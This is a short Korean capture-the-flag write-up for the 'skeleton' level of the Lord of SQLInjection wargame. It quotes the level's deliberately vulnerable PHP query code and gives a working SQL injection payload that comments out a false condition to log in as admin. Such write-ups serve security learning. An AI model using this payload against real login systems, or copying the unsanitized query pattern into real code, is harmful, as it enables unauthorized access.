LOS # skeleton
쿼리문
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
// \ 문자를 필터링하고 있다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
// id가 'admin'이어야 한다.
지금은 'guest'로 되어 있으니, 이를 바꿔줘야 할 것 같다.
highlight_file(__FILE__);
?>
1=0은 아예 거짓인 수식이므로,
어떤 값을 pw에 넣어도 거짓이라고 판별이 될 것이다.
그래서 뒤의 1=0을 주석 처리 해줘야겠다고 생각했다.
id를 'admin'으로 맞춰주기만 하면 된다.
?pw=%27||id=%27admin%27%09%23
이렇게 써주었다.
(사실 저렇게 우회해주지 않아도 되지만, 그냥 저게 더 익숙해서 저렇게 썼다)
해결!